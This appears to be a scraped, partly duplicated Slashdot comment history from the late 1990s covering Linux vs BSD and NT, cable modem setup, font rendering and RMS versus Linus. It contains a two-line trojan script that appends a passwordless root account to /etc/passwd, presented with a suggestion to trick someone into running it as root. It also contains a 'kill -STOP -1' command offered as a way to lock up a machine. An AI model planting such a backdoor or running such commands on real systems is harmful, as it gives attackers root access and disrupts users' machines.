why bother w/ a 486? I used to have a 386 sx16 or something slow like that w/8megs of ram and a 100meg hdd doing the job. Greatest part, I didn't pay for any of it. I had the nic lying around and I got the 386 from a friend who bought a new computer.
Linux already does to an extent. You just compile the kernel with EVERY thing enabled. This works great with PCI devices, w/ ISA devices it can be a bit touchy and can cause system locks. The problem is you have a huge friggan kernel with a bunch of junk you don't need wasting ram. The alternative is to compile EVERYTHING as a module and have a script read/proc/pci at startup and load the appropriate modules. This could also work fairly well with ISA PnP devices. w/ non-pnp you are screwed pretty much, even windows doesn't do that hot of a job at recognizing them. The real question is why have no distributions implimented something like this?
if the person is in X that will pretty lock the machine (to the user's perspective anyway). If you can execute the command as root, then the entire machine is pretty much gone, can't even do a reboot.
For all of you who tried this type: kill -CONT -1 to restart everything.
The argument that if nt were a real OS this wouldn't be possible is pure bull. The same thing is quite possible on *nix. Look at vnc, it's essentially the same thing, it lets you act as if you were sitting right infront of the console in X windows. Or telnetd, it lets you pretend you are right at the console. Simple unix trojan horse program that allows pretty much the same level of controll:
#!/bin/sh
echo foo::0:0::/:/bin/sh >>/etc/passwd
Just get some fool to run this program as root, and boom, you now "0wn" his box. Don't think just because you are using *nix that you are some how safe from this type of attack.
My old ISP (before I got a cable modem)http://www.op.net/ used SunOS and FreeBSD. IIRC the reason why they used FreeBSD over Linux was pretty much "I like the way FreeBSD feels better." Which is the reason I use linux, to me it feels better. I'm just glad they didn't use any *doze.
Linux != FSF. What is the goal of Linux, to write a free unix-like OS. What is the goal of BSD, to write a free unix-like OS. True both camps have chosen different methods of getting there, but in the end the goal is the same. Both strive to produce a secure, stable, and fast unix-like OS. IMHO, BSD is good for linux is good for BSD. If we'd stop worrying about whose dick is bigger and go back to writing software both camps would be happy. Although some comparison is good, ie if both are always trying to out-do each other, then we'll end up with two amazing families of OSes, which IMHO is a very good thing. I personally use linux, I've tried freebsd, i just felt more comfortable with linux, i'm sure it works the other way too. Who really cares which free OS someone is using. Atleast they aren't using NT.
I didn't see a benchmark, but I read that some of the BSD developers said that BSD probally would have faired just about the same because it had the same weaknesses as linux in this area. I personally hope both OSes get fixed, so we can have a bunch of OSes to pounce NT in a future meaningless benchmark.
Not that I know of, but from what I understand many of the BSD developers think that BSD and Linux would fair about the same. Especially in the mindcraft benchmark, since neither of them have a multithreaded ip stack, yet. I remember a while ago, a lot of linux users were proclaiming that linux had the fastest ip stack of any OS, commercial or otherwise. I honestly doubt that this is true, now or even at the time.
Linux also has immutable and append only files. man chattr. on linux in order to edit an immutable file you need to remove the immutable bit. if you modify the kernel (maybe this is possible as a command line option) to have securelevel == 1 instead of 0 it disallows the changing of these attributes. On the down side last I checked you could very easily write a module that would change the securelevel back to 0. I did it in about 30 seconds and i know next to nothing about writing modules for linux. Maybe this has changed with more recent versions. I really don't know.
What really baffled me about melissa is why people made a huge deal about it. It was a harmless macro-virus that wouldn't even be possible if microsoft shipped office with macros turned off. (Btw, does anyone know if there is a way to turn off macros completely in office, i have only been able to set it to warn me before executing them). I would think they would have made a bigger deal about chernobyl (that was the one that ate your bios right), which had the potential to completely trash your system.
The "free" AOL thing sounds like a wonderful idea, but it would never work. IMHO there are two primary reasons why AOL is so widely used. First is because it's simple. Now I do think that the linux community could make an easy to use online service. The second reason is because they have POPs EVERYWHERE. There is no way that an online service could have as many dialups as AOL w/o a huge ammount of money, then there is the cost of maintaining the equipment, in order to do that you need to either have someone disgustingly rich to donate a large ammount of money, or you need to charge your customers. Hrm...there goes the free(beer) aspect of it.
I have powerlink with adelphia, and they actually list linux as a psuedo-supported os. They have docs online for how to set everything up, it's listed on their requirements page as one of the OSes that are recommended for use, and they have a web page for generic os related questions. Tech support won't actually do anything, but it's really simple to get it working anyway: dhcpcd eth0. It's nice to see that (some) cable companies are a lot less stupid than certain companies (bell atlantic) when it comes to OSes that don't come from redmond.
As a side note what I found really hillarious, is that they have a hybrid phone modem/cable modem setup for areas which don't have 2way cable capability. Originally they only had win9x drivers, then someone wrote a linux driver, which is now linked from their site. Last I heard someone was porting the linux driver over to nt. It's really great to see atleast one of the *dozes had a driver after linux did.
I have heard the same thing, and from personal experience, I would say it's true. My monitor at work (windows, dell 17inch, 1024x768x75hz) causes my eyes to hurt more than my monitor at home (linux, acer 17inch, 1280x1024x60hz). My home monitor runs at a lower refresh rate and a higher resolution which should cause more eyestrain, not less. The only thing I can think of is anti-aliased fonts.
Re:broke my font server
on
XFree86 News
·
· Score: 1
sounds like the font server got borked. first try/etc/rc.d/init.d/xfs stop ;/etc/rc.d/init.d/xfs start. If that fails, try rebooting (I know it's a very windows-ish solution, but it works sometimes).
Actually I think you can hack around the no-save problem. I did this once with netscape on my computer (no idea if it was for the exact same problem though). Do the above steps, then exit netscape. Go into ~/.netscape and edit whatever the preferences file is (i think it's prefs.js or something like that). Find the font line and everywhere you see a -0- for the font size replace it with -16-. Note: these directions might not be 100%, i have only done this once on one computer and it was a little while ago. If someone has more (better) knowledge please post it. It's a really ugly hack, hopefully mozilla will be useable soon (for every day browsing atleast) and we can finally get some decent looking fonts.
anti-aliasing is a really disgusting hack. Since it slightly blurs the fonts your eyes perceive them as being out of focus, so they try to refocus, this doesn't work, so they refocus yet again, and again, and again, and again. This causes a great deal of strain for your eyes. Running at a higher resolution with larger font sizes looks better and is much nicer to your eyes.
Re:I believe William Shatner said it best....
on
Quickie Fu
·
· Score: 1
I know he also said it in a saturday night live skit. He was at a star trek convention and everyone was acting like he really was captin kirk, to which he responeded "get...a..life" (said in that classic shatner way of saying things).
I'm guessing that RMS hates Linus because Linus is more popular than RMS. I think the whole GNU/Linux thing is proof of that. RMS doesn't care about free software, he cares about his movement, and it pisses him off that someone else is managing to steal the spot light w/o doing any publicity stunts.
Look for the picture of him in his saint iGNUtious (or whatever it was) costume, or listen to his "free hackers" song, or read www.gnu.org. The man lost touch with reality years ago.
And if RMS told you to jump off of a bridge would you? A few points: First, RMS is fallable. Second, do we actually know that Linus is working on proprietary software at Transmeta? Last I checked all we know about Transmeta is they are producing something that probally deals with emulation, but that might be 100% off. Third, saying Linus has turned his back on free software is just plain stupid. He hasn't sold the linux kernel to any company (not like he could even if he wanted to). He even made sure that his contract allows him time to work on Linux. Also, I remember reading something where Linus said he never wanted to be paid to work on Linux since there was a potential for a conflict of interests if his boss wants feature X, and Linus doesn't think it's a good idea.
Slashdot Mirror
FYI, 6667 is the default irc port, other commonly used ports are 6660-9 and 7000.
why bother w/ a 486? I used to have a 386 sx16 or something slow like that w/8megs of ram and a 100meg hdd doing the job. Greatest part, I didn't pay for any of it. I had the nic lying around and I got the 386 from a friend who bought a new computer.
hacks-or-d (not the letter d, the sound of a single d)
Linux already does to an extent. You just compile the kernel with EVERY thing enabled. This works great with PCI devices, w/ ISA devices it can be a bit touchy and can cause system locks. The problem is you have a huge friggan kernel with a bunch of junk you don't need wasting ram. The alternative is to compile EVERYTHING as a module and have a script read /proc/pci at startup and load the appropriate modules. This could also work fairly well with ISA PnP devices. w/ non-pnp you are screwed pretty much, even windows doesn't do that hot of a job at recognizing them. The real question is why have no distributions implimented something like this?
kill -STOP -1
if the person is in X that will pretty lock the machine (to the user's perspective anyway). If you can execute the command as root, then the entire machine is pretty much gone, can't even do a reboot.
For all of you who tried this type: kill -CONT -1 to restart everything.
Oh boy and it can be just like DOS, w/ no libraries at all.
No, the trojans weren't. I don't remember exactly where Troy was located, but it was a long boat ride from Greece.
The argument that if nt were a real OS this wouldn't be possible is pure bull. The same thing is quite possible on *nix. Look at vnc, it's essentially the same thing, it lets you act as if you were sitting right infront of the console in X windows. Or telnetd, it lets you pretend you are right at the console. Simple unix trojan horse program that allows pretty much the same level of controll:
/etc/passwd
#!/bin/sh
echo foo::0:0::/:/bin/sh >>
Just get some fool to run this program as root, and boom, you now "0wn" his box. Don't think just because you are using *nix that you are some how safe from this type of attack.
It was the greeks, hence the phrase "Beware of greeks baring gifts."
My old ISP (before I got a cable modem)http://www.op.net/ used SunOS and FreeBSD. IIRC the reason why they used FreeBSD over Linux was pretty much "I like the way FreeBSD feels better." Which is the reason I use linux, to me it feels better. I'm just glad they didn't use any *doze.
Linux != FSF. What is the goal of Linux, to write a free unix-like OS. What is the goal of BSD, to write a free unix-like OS. True both camps have chosen different methods of getting there, but in the end the goal is the same. Both strive to produce a secure, stable, and fast unix-like OS. IMHO, BSD is good for linux is good for BSD. If we'd stop worrying about whose dick is bigger and go back to writing software both camps would be happy. Although some comparison is good, ie if both are always trying to out-do each other, then we'll end up with two amazing families of OSes, which IMHO is a very good thing. I personally use linux, I've tried freebsd, i just felt more comfortable with linux, i'm sure it works the other way too. Who really cares which free OS someone is using. Atleast they aren't using NT.
I didn't see a benchmark, but I read that some of the BSD developers said that BSD probally would have faired just about the same because it had the same weaknesses as linux in this area. I personally hope both OSes get fixed, so we can have a bunch of OSes to pounce NT in a future meaningless benchmark.
Not that I know of, but from what I understand many of the BSD developers think that BSD and Linux would fair about the same. Especially in the mindcraft benchmark, since neither of them have a multithreaded ip stack, yet. I remember a while ago, a lot of linux users were proclaiming that linux had the fastest ip stack of any OS, commercial or otherwise. I honestly doubt that this is true, now or even at the time.
Linux also has immutable and append only files. man chattr. on linux in order to edit an immutable file you need to remove the immutable bit. if you modify the kernel (maybe this is possible as a command line option) to have securelevel == 1 instead of 0 it disallows the changing of these attributes. On the down side last I checked you could very easily write a module that would change the securelevel back to 0. I did it in about 30 seconds and i know next to nothing about writing modules for linux. Maybe this has changed with more recent versions. I really don't know.
What really baffled me about melissa is why people made a huge deal about it. It was a harmless macro-virus that wouldn't even be possible if microsoft shipped office with macros turned off. (Btw, does anyone know if there is a way to turn off macros completely in office, i have only been able to set it to warn me before executing them). I would think they would have made a bigger deal about chernobyl (that was the one that ate your bios right), which had the potential to completely trash your system.
The "free" AOL thing sounds like a wonderful idea, but it would never work. IMHO there are two primary reasons why AOL is so widely used. First is because it's simple. Now I do think that the linux community could make an easy to use online service. The second reason is because they have POPs EVERYWHERE. There is no way that an online service could have as many dialups as AOL w/o a huge ammount of money, then there is the cost of maintaining the equipment, in order to do that you need to either have someone disgustingly rich to donate a large ammount of money, or you need to charge your customers. Hrm...there goes the free(beer) aspect of it.
I have powerlink with adelphia, and they actually list linux as a psuedo-supported os. They have docs online for how to set everything up, it's listed on their requirements page as one of the OSes that are recommended for use, and they have a web page for generic os related questions. Tech support won't actually do anything, but it's really simple to get it working anyway: dhcpcd eth0. It's nice to see that (some) cable companies are a lot less stupid than certain companies (bell atlantic) when it comes to OSes that don't come from redmond.
As a side note what I found really hillarious, is that they have a hybrid phone modem/cable modem setup for areas which don't have 2way cable capability. Originally they only had win9x drivers, then someone wrote a linux driver, which is now linked from their site. Last I heard someone was porting the linux driver over to nt. It's really great to see atleast one of the *dozes had a driver after linux did.
I have heard the same thing, and from personal experience, I would say it's true. My monitor at work (windows, dell 17inch, 1024x768x75hz) causes my eyes to hurt more than my monitor at home (linux, acer 17inch, 1280x1024x60hz). My home monitor runs at a lower refresh rate and a higher resolution which should cause more eyestrain, not less. The only thing I can think of is anti-aliased fonts.
sounds like the font server got borked. first try /etc/rc.d/init.d/xfs stop ; /etc/rc.d/init.d/xfs start. If that fails, try rebooting (I know it's a very windows-ish solution, but it works sometimes).
Actually I think you can hack around the no-save problem. I did this once with netscape on my computer (no idea if it was for the exact same problem though). Do the above steps, then exit netscape. Go into ~/.netscape and edit whatever the preferences file is (i think it's prefs.js or something like that). Find the font line and everywhere you see a -0- for the font size replace it with -16-. Note: these directions might not be 100%, i have only done this once on one computer and it was a little while ago. If someone has more (better) knowledge please post it. It's a really ugly hack, hopefully mozilla will be useable soon (for every day browsing atleast) and we can finally get some decent looking fonts.
anti-aliasing is a really disgusting hack. Since it slightly blurs the fonts your eyes perceive them as being out of focus, so they try to refocus, this doesn't work, so they refocus yet again, and again, and again, and again. This causes a great deal of strain for your eyes. Running at a higher resolution with larger font sizes looks better and is much nicer to your eyes.
I know he also said it in a saturday night live skit. He was at a star trek convention and everyone was acting like he really was captin kirk, to which he responeded "get...a..life" (said in that classic shatner way of saying things).
I'm guessing that RMS hates Linus because Linus is more popular than RMS. I think the whole GNU/Linux thing is proof of that. RMS doesn't care about free software, he cares about his movement, and it pisses him off that someone else is managing to steal the spot light w/o doing any publicity stunts.
Look for the picture of him in his saint iGNUtious (or whatever it was) costume, or listen to his "free hackers" song, or read www.gnu.org. The man lost touch with reality years ago.
And if RMS told you to jump off of a bridge would you? A few points: First, RMS is fallable. Second, do we actually know that Linus is working on proprietary software at Transmeta? Last I checked all we know about Transmeta is they are producing something that probally deals with emulation, but that might be 100% off. Third, saying Linus has turned his back on free software is just plain stupid. He hasn't sold the linux kernel to any company (not like he could even if he wanted to). He even made sure that his contract allows him time to work on Linux. Also, I remember reading something where Linus said he never wanted to be paid to work on Linux since there was a potential for a conflict of interests if his boss wants feature X, and Linus doesn't think it's a good idea.